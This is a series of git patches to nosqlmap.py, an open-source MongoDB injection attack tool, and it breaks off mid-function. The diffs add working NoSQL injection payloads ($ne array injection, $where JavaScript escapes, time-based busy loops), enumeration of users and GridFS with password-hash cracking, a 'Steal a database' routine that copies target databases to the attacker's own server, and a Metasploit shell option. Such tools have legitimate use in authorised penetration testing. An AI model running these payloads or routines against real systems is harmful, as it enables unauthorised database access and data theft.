print "Verbose output enabled." verb = "ON" @@ -264,7 +274,7 @@ def options(): verb = "OFF" optionSet[6] = True - elif select == "8": + elif select == "9": loadPath = raw_input("Enter file name to load: ") try: fo = open(loadPath,"r" ) @@ -290,7 +300,7 @@ def options(): except: print "Couldn't load options file!" - elif select == "9": + elif select == "0": loadPath = raw_input("Enter path to Burp request file: ") try: @@ -329,7 +339,7 @@ def options(): uri = methodPath[1].replace("\r\n","") optionSet[2] = True - elif select == "0": + elif select == "a": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") @@ -352,14 +362,15 @@ def netAttacks(target): webOpen = False #This is a global for future use with other modules; may change global dbList + global dbPort srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") if srvNeedCreds == "n" or srvNeedCreds == "N": try: - conn = pymongo.MongoClient(target,27017) - print "MongoDB port open on " + target + ":27017!" + conn = pymongo.MongoClient(target,dbPort) + print "MongoDB port open on " + target + ":" + str(dbPort) mgtOpen = True except: From 30c741d1c88fe2d80c3cca3fc9b29600ad758324 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 27 Mar 2014 07:33:23 -0500 Subject: [PATCH 043/207] Fixed crash when GridFS can't see any DBs --- nosqlmap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nosqlmap.py b/nosqlmap.py index e7dfdbc..6075969 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -363,6 +363,7 @@ def netAttacks(target): #This is a global for future use with other modules; may change global dbList global dbPort + dbList = [] srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") From 1ec4fc19ba596f444861a18b407937d2549f2389 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 27 Mar 2014 07:40:32 -0500 Subject: [PATCH 044/207] Slight tweak to error handling for GridFS and DB stealing --- nosqlmap.py | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6075969..1a5288f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -477,17 +477,20 @@ def netAttacks(target): testGrid = raw_input("Check for GridFS (y/n)? ") if testGrid == "y" or testGrid == "Y": - for dbItem in dbList: - try: - db = conn[dbItem] - fs = gridfs.GridFS(db) - files = fs.list() - print "GridFS enabled on database " + str(dbItem) - print " list of files:" - print "\n".join(files) + try: + for dbItem in dbList: + try: + db = conn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) - except: - print "GridFS not enabled on " + str(dbItem) + "." + except: + print "GridFS not enabled on " + str(dbItem) + "." + except: + print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ") @@ -1254,7 +1257,10 @@ def buildUri(origUri, randValue): return uriArray[0] def stealDBs(myDB): - menuItem = 1 + menuItem = 1 + if len(dbList) == 0: + print "Can't get a list of databases to steal. The provided credentials may not have rights." + return for dbName in dbList: print str(menuItem) + "-" + dbName From b2e10b8d3f16597b8d54ce225b617f4a23bc1680 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Mar 2014 16:36:40 -0500 Subject: [PATCH 045/207] Merge branch '0.3' Conflicts: nosqlmap.py --- nosqlmap.py | 1153 ++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 909 insertions(+), 244 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index ad43846..251a3b5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -21,30 +21,42 @@ import time import httplib2 import urllib +import urllib2 import pymongo import subprocess import json import gridfs import ipcalc +import signal +import ast +import datetime from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet -optionSet = [False,False,False,False,False,False] +optionSet = [False,False,False,False,False,False,False,False] global victim global webPort global uri global httpMethod global myIP global myPort - +global verb def mainMenu(): - select = True - while select: + mmSelect = True + while mmSelect: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) - print "NoSQLMap-v0.2" + print "====================================================" + print " _ _ _____ _____ _ ___ ___ " + print "| \ | | / ___|| _ | | | \/ | " + print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " + print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " + print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" + print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" + print "====================================================" + print "NoSQLMap-v0.3" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -65,17 +77,20 @@ def mainMenu(): #Check minimum required options else: raw_input("Target not set! Check options. Press enter to continue...") - mainMenu() elif select == "3": #Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): - webApps() + if httpMethod == "GET": + getApps() + + else: + postApps() else: - raw_input("Options not set! Check Host and URI path. Press enter to continue...") - mainMenu() + raw_input("Options not set! Check host and URI path. Press enter to continue...") + elif select == "4": massMongo() @@ -84,11 +99,23 @@ def mainMenu(): sys.exit() else: - raw_input("Invalid Selection. Press enter to continue.") - mainMenu() + raw_input("Invalid selection. Press enter to continue.") def options(): +<<<<<<< HEAD +======= + global victim + global webPort + global uri + global httpMethod + global postData + global myIP + global myPort + global verb + global mmSelect + global dbPort +>>>>>>> 0.3 #Set default value if needed if optionSet[0] == False: @@ -110,90 +137,169 @@ def options(): if optionSet[5] == False: global myPort myPort = "Not Set" + if optionSet[6] == False: + verb = "OFF" + if optionSet[7] == False: + dbPort = 27017 + optSelect = True - select = True - - while select: + while optSelect: print "\n\n" print "Options" print "1-Set target host/IP (Current: " + str(victim) + ")" print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" - print "4-Set HTTP Request Method (GET/POST)" - print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" - print "6-Set shell listener port (Current: " + str(myPort) + ")" - print "7-Load options file" - print "8-Load options from saved Burp request" - print "9-Save options file" + print "4-Set MongoDB Port (Current : " + str(dbPort) + ")" + print "5-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" + print "6-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" + print "7-Set shell listener port (Current: " + str(myPort) + ")" + print "8-Toggle Verbose Mode: (Current: " + str(verb) + ")" + print "9-Load options file" + print "0-Load options from saved Burp request" + print "a-Save options file" print "x-Back to main menu" select = raw_input("Select an option: ") if select == "1": - victim = raw_input("Enter the host IP/DNS name: ") - print "\nTarget set to " + victim + "\n" - optionSet[0] = True - options() + #Unset the boolean if it's set since we're setting it again. + optionSet[0] = False + ipLen = False + + while optionSet[0] == False: + goodDigits = True + notDNS = True + victim = raw_input("Enter the host IP/DNS name: ") + #make sure we got a valid IP + octets = victim.split(".") + + if len(octets) != 4: + #Treat this as a DNS name + optionSet[0] = True + notDNS = False + + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + try: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + + except: + #Must be a DNS name (for now) + + notDNS = False + + #If everything checks out set the IP and break the loop + if goodDigits == True or notDNS == False: + print "\nTarget set to " + victim + "\n" + optionSet[0] = True elif select == "2": webPort = raw_input("Enter the HTTP port for web apps: ") print "\nHTTP port set to " + webPort + "\n" optionSet[1] = True - options() elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") print "\nURI Path set to " + uri + "\n" optionSet[2] = True - options() - - #NOT IMPLEMENTED YET FOR USE + elif select == "4": + dbPort = int(raw_input("Enter target MongoDB port: ")) + print "\nTarget Mongo Port set to " + str(dbPort) + "\n" + optionSet[7] = True + + elif select == "5": httpMethod = True - while httpMethod: + while httpMethod == True: print "1-Send request as a GET" print "2-Send request as a POST" httpMethod = raw_input("Select an option: ") if httpMethod == "1": + httpMethod = "GET" print "GET request set" optionSet[3] = True - options() elif httpMethod == "2": print "POST request set" optionSet[3] = True - options() + postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + httpMethod = "POST" else: print "Invalid selection" - elif select == "5": - myIP = raw_input("Enter host IP for my Mongo/Shells: ") - print "Shell IP set to " + myIP + "\n" - optionSet[4] = True - options() - elif select == "6": + #Unset the setting boolean since we're setting it again. + optionSet[4] = False + goodLen = False + goodDigits = False + while optionSet[4] == False: + myIP = raw_input("Enter the host IP for my Mongo/Shells: ") + #make sure we got a valid IP + octets = myIP.split(".") + #If there aren't 4 octets, toss an error. + if len(octets) != 4: + print "Invalid IP length." + + else: + goodLen = True + + if goodLen == True: + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + + else: + goodDigits = True + + + #If everything checks out set the IP and break the loop + if goodLen == True and goodDigits == True: + print "\nShell/DB listener set to " + myIP + "\n" + optionSet[4] = True + + elif select == "7": myPort = raw_input("Enter TCP listener for shells: ") print "Shell TCP listener set to " + myPort + "\n" optionSet[5] = True - options() + + elif select == "8": + if verb == "OFF": + print "Verbose output enabled." + verb = "ON" + optionSet[6] = True - elif select == "7": + elif verb == "ON": + print "Verbose output disabled." + verb = "OFF" + optionSet[6] = True + + elif select == "9": loadPath = raw_input("Enter file name to load: ") try: fo = open(loadPath,"r" ) - csvOpt = fo.read() + csvOpt = fo.readlines() fo.close() - optList = csvOpt.split(",") + optList = csvOpt[0].split(",") victim = optList[0] webPort = optList[1] uri = optList[2] httpMethod = optList[3] myIP = optList[4] myPort = optList[5] - + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + #Set option checking array based on what was loaded x = 0 for item in optList: @@ -202,9 +308,8 @@ def options(): x += 1 except: print "Couldn't load options file!" - options() - elif select == "8": + elif select == "0": loadPath = raw_input("Enter path to Burp request file: ") try: @@ -213,7 +318,7 @@ def options(): except: raw_input("error reading file. Press enter to continue...") - mainMenu() + return methodPath = reqData[0].split(" ") @@ -221,8 +326,20 @@ def options(): httpMethod = "GET" elif methodPath[0] == "POST": + paramNames = [] + paramValues = [] httpMethod = "POST" postData = reqData[len(reqData)-1] + #split the POST parameters up into individual items + paramsNvalues = postData.split("&") + + for item in paramsNvalues: + tempList = item.split("=") + paramNames.append(tempList[0]) + paramValues.append(tempList[1]) + + postData = dict(zip(paramNames,paramValues)) + else: print "unsupported method in request header." @@ -231,18 +348,21 @@ def options(): uri = methodPath[1].replace("\r\n","") optionSet[2] = True - elif select == "9": + elif select == "a": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) fo.close() print "Options file saved!" except: print "Couldn't save options file." elif select == "x": - mainMenu() + return def netAttacks(target): print "DB Access attacks" @@ -251,14 +371,16 @@ def netAttacks(target): webOpen = False #This is a global for future use with other modules; may change global dbList + global dbPort + dbList = [] - srvNeedCreds = raw_input("Does the database server need credentials? ") + srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") if srvNeedCreds == "n" or srvNeedCreds == "N": try: - conn = pymongo.MongoClient(target,27017) - print "MongoDB port open on " + target + ":27017!" + conn = pymongo.MongoClient(target,dbPort) + print "MongoDB port open on " + target + ":" + str(dbPort) mgtOpen = True except: @@ -275,7 +397,7 @@ def netAttacks(target): mgtOpen = True except: raw_input("Failed to authenticate. Press enter to continue...") - mainMenu() + return mgtUrl = "http://" + target + ":28017" @@ -285,7 +407,7 @@ def netAttacks(target): mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: print "MongoDB web management open at " + mgtUrl + ". No authentication required!" - testRest = raw_input("Start tests for REST Interface? ") + testRest = raw_input("Start tests for REST Interface (y/n)? ") if testRest == "y" or testRest == "Y": restUrl = mgtUrl + "/listDatabases?text=1" @@ -350,7 +472,7 @@ def netAttacks(target): print "Username: " + users[x]['user'] print "Hash: " + users[x]['pwd'] print "\n" - crack = raw_input("Crack this hash? ") + crack = raw_input("Crack this hash (y/n)? ") if crack == "y": brute_pass(users[x]['user'],users[x]['pwd']) @@ -361,27 +483,30 @@ def netAttacks(target): print "\n" #Start GridFS enumeration - testGrid = raw_input("Check for GridFS? ") + testGrid = raw_input("Check for GridFS (y/n)? ") if testGrid == "y" or testGrid == "Y": - for dbItem in dbList: - try: - db = conn[dbItem] - fs = gridfs.GridFS(db) - files = fs.list() - print "GridFS enabled on database " + str(dbItem) - print " list of files:" - print "\n".join(files) + try: + for dbItem in dbList: + try: + db = conn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) - except: - print "GridFS not enabled on " + str(dbItem) + "." + except: + print "GridFS not enabled on " + str(dbItem) + "." + except: + print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." - stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ") + stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ") if stealDB == "y" or stealDB == "Y": stealDBs (myIP) - getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)? ") + getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ") if getShell == "y" or getShell == "Y": #Launch Metasploit exploit @@ -393,20 +518,26 @@ def netAttacks(target): raw_input("Press enter to continue...") return() - - -def webApps(): - print "Web App Attacks" + +def postApps(): + print "Web App Attacks (POST)" print "===============" paramName = [] paramValue = [] + global vulnAddrs vulnAddrs = [] + global possAddrs possAddrs = [] timeVulnsStr = [] timeVulnsInt = [] appUp = False strTbAttack = False intTbAttack = False + trueStr = False + trueInt = False + global postData + global neDict + testNum = 1 #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -414,37 +545,64 @@ def webApps(): appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) try: - appRespCode = urllib.urlopen(appURL).getcode() + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + appRespCode = urllib2.urlopen(req).getcode() + if appRespCode == 200: - normLength = int(len(urllib.urlopen(appURL).read())) - timeReq = urllib.urlopen(appURL) + + normLength = int(len(urllib2.urlopen(req).read())) + timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() end = time.time() timeReq.close() timeBase = round((end - start), 3) - - - print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + + else: + print "App is up!" appUp = True - else: print "Got " + appRespCode + "from the app, check your options." + except: print "Looks like the server didn't respond. Check your options." if appUp == True: - + + menuItem = 1 + print "List of parameters:" + for params in postData.keys(): + print str(menuItem) + "-" + params + menuItem += 1 + + try: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) + print "Injecting the " + injOpt + " parameter..." + except: + raw_input("Something went wrong. Press enter to return to the main menu...") + return + injectSize = raw_input("Baseline test-Enter random string size: ") injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. - randomUri = buildUri(appURL,injectString) - print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" - randLength = int(len(urllib.urlopen(randomUri).read())) + #Add error handling for Non-200 HTTP response codes if random strings freak out the app. + postData.update({injOpt:injectString}) + if verb == "ON": + print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" + + else: + print "Sending random parameter value..." + + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + randLength = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -452,169 +610,367 @@ def webApps(): if randNormDelta == 0: print "No change in response size injecting a random parameter..\n" else: - print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" + print "Random value variance: " + str(randNormDelta) + "\n" - print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." - injLen = int(len(urllib.urlopen(uriArray[1]).read())) - print "Got response length of " + str(injLen) + "." + #Generate not equals injection + neDict = postData + neDict[injOpt + "[$ne]"] = neDict[injOpt] + del neDict[injOpt] + body = urllib.urlencode(neDict) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." - randInjDelta = abs(injLen - randLength) + else: + print "Test 1: PHP associative array injection" + + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" - if (randInjDelta >= 100) and (injLen != 0) : - print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" - vulnAddrs.append(uriArray[1]) + #Delete the extra key + del postData[injOpt + "[$ne]"] + postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + str(postData) - elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : - print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " - possAddrs.append(uriArray[1]) + else: + print "Test 2: $where injection (string escape)" - elif (randInjDelta == 0): - print "Random string response size and not equals injection were the same. Injection did not work." + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + + postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + str(postData) else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[1]) + print "Test 3: $where injection (integer escape)" - print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + uriArray[2] + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + + #Start a single record attack in case the app expects only one record back + postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + str(postData) - whereStrLen = int(len(urllib.urlopen(uriArray[2]).read())) - whereStrDelta = abs(whereStrLen - randLength) + else: + print "Test 4: $where injection string escape (single record)" - if (whereStrDelta >= 100) and (whereStrLen > 0): - print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" - vulnAddrs.append(uriArray[2]) + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" - elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): - print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[2]) - - elif (whereStrDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." + postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + str(postData) else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[2]) + print "Test 5: $where injection integer escape (single record)" + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" - print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + uriArray[3] - whereIntLen = int(len(urllib.urlopen(uriArray[3]).read())) - whereIntDelta = abs(whereIntLen - randLength) + postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) - if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): - print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[3]) - - elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): - print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[3]) - - elif (whereIntDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + str(postData) else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[3]) - - #Start a single record attack in case the app expects only one record back + print "Test 6: This != injection (string escape)" - print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + uriArray[4] - - - whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read())) - whereOneStrDelta = abs(whereOneStrLen - randLength) - - if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): - print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" - vulnAddrs.append(uriArray[4]) + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" - elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): - print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[4]) - - elif (whereOneStrDelta == 0): - print "Random string response size and $where single injection were the same. Injection did not work." + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + str(postData) else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[4]) - + print "Test 7: This != injection (integer escape)" + + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" - print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + uriArray[5] + doTimeAttack = raw_input("Start timing based tests (y/n)? ") - whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read())) - whereOneIntDelta = abs(whereOneIntLen - randLength) + if doTimeAttack == "y" or doTimeAttack == "Y": + print "Starting Javascript string escape time based injection..." + postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) + body = urllib.urlencode(postData) + conn = urllib2.urlopen(req,body) + start = time.time() + page = conn.read() + end = time.time() + conn.close() + print str(end) + print str(start) + strTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if strTimeDelta > 25: + print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." + strTbAttack = True - if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): - print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[5]) - - elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): - print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[5]) + else: + print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." + strTbAttack = False - elif (whereOneIntDelta == 0): - print "Random string response size and $where single record injection were the same. Injection did not work." + print "Starting Javascript integer escape time based injection..." - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[5]) + postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) + body = urllib.urlencode(postData) + start = time.time() + conn = urllib2.urlopen(req,body) + page = conn.read() + end = time.time() + conn.close() + print str(end) + print str(start) + intTimeDelta = ((end-start) - timeBase) + #print str(strTimeDelta) + if intTimeDelta > 25: + print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." + intTbAttack = True + else: + print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." + intTbAttack = False + + print "\n" + print "Exploitable requests:" + print "\n".join(vulnAddrs) print "\n" - print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + uriArray[8] + print "Possibly vulnerable requests:" + print"\n".join(possAddrs) + print "\n" + print "Timing based attacks:" - whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read())) - whereThisStrDelta = abs(whereThisStrLen - randLength) + if strTbAttack == True: + print "String attack-Successful" + else: + print "String attack-Unsuccessful" + if intTbAttack == True: + print "Integer attack-Successful" + else: + print "Integer attack-Unsuccessful" - if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[8]) + fileOut = raw_input("Save results to file (y/n)? ") - elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): - print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[8]) + if fileOut == "y" or fileOut == "Y": + savePath = raw_input("Enter output file name: ") + fo = open(savePath, "wb") + fo.write ("Vulnerable Requests:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable Requests:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") - elif (whereThisStrDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[8]) + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + + raw_input("Press enter to continue...") + return() + +def getApps(): + print "Web App Attacks (GET)" + print "===============" + paramName = [] + global testNum + testNum = 1 + paramValue = [] + global vulnAddrs + vulnAddrs = [] + global possAddrs + possAddrs = [] + timeVulnsStr = [] + timeVulnsInt = [] + appUp = False + strTbAttack = False + intTbAttack = False + trueStr = False + trueInt = False + global lt24 + lt24 = False + global str24 + str24 = False + global int24 + int24 = False + + #Verify app is working. + print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." + + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + + try: + appRespCode = urllib.urlopen(appURL).getcode() + if appRespCode == 200: + normLength = int(len(urllib.urlopen(appURL).read())) + timeReq = urllib.urlopen(appURL) + start = time.time() + page = timeReq.read() + end = time.time() + timeReq.close() + timeBase = round((end - start), 3) + + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + else: + print "App is up!" + appUp = True + + else: + print "Got " + appRespCode + "from the app, check your options." + except: + print "Looks like the server didn't respond. Check your options." + + if appUp == True: + + injectSize = raw_input("Baseline test-Enter random string size: ") + injectString = randInjString(int(injectSize)) + print "Using " + injectString + " for injection testing.\n" + + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + randomUri = buildUri(appURL,injectString) + + if verb == "ON": + print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" + else: + print "Sending random parameter value..." + + randLength = int(len(urllib.urlopen(randomUri).read())) + print "Got response length of " + str(randLength) + "." + randNormDelta = abs(normLength - randLength) + + if randNormDelta == 0: + print "No change in response size injecting a random parameter..\n" + else: + print "Random value variance: " + str(randNormDelta) + "\n" + + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + else: + print "Test 1: PHP associative array injection" + injLen = int(len(urllib.urlopen(uriArray[1]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" - print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + uriArray[9] + + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + uriArray[2] + else: + print "Test 2: $where injection (string escape)" - whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read())) - whereThisIntDelta = abs(whereThisIntLen - randLength) + injLen = int(len(urllib.urlopen(uriArray[2]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 - if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[9]) + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + uriArray[3] + else: + print "Test 3: $where injection (integer escape)" - elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): - print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[9]) + injLen = int(len(urllib.urlopen(uriArray[3]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 + + #Start a single record attack in case the app expects only one record back + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + uriArray[4] + else: + print "Test 4: $where injection string escape (single record)" + + + injLen = 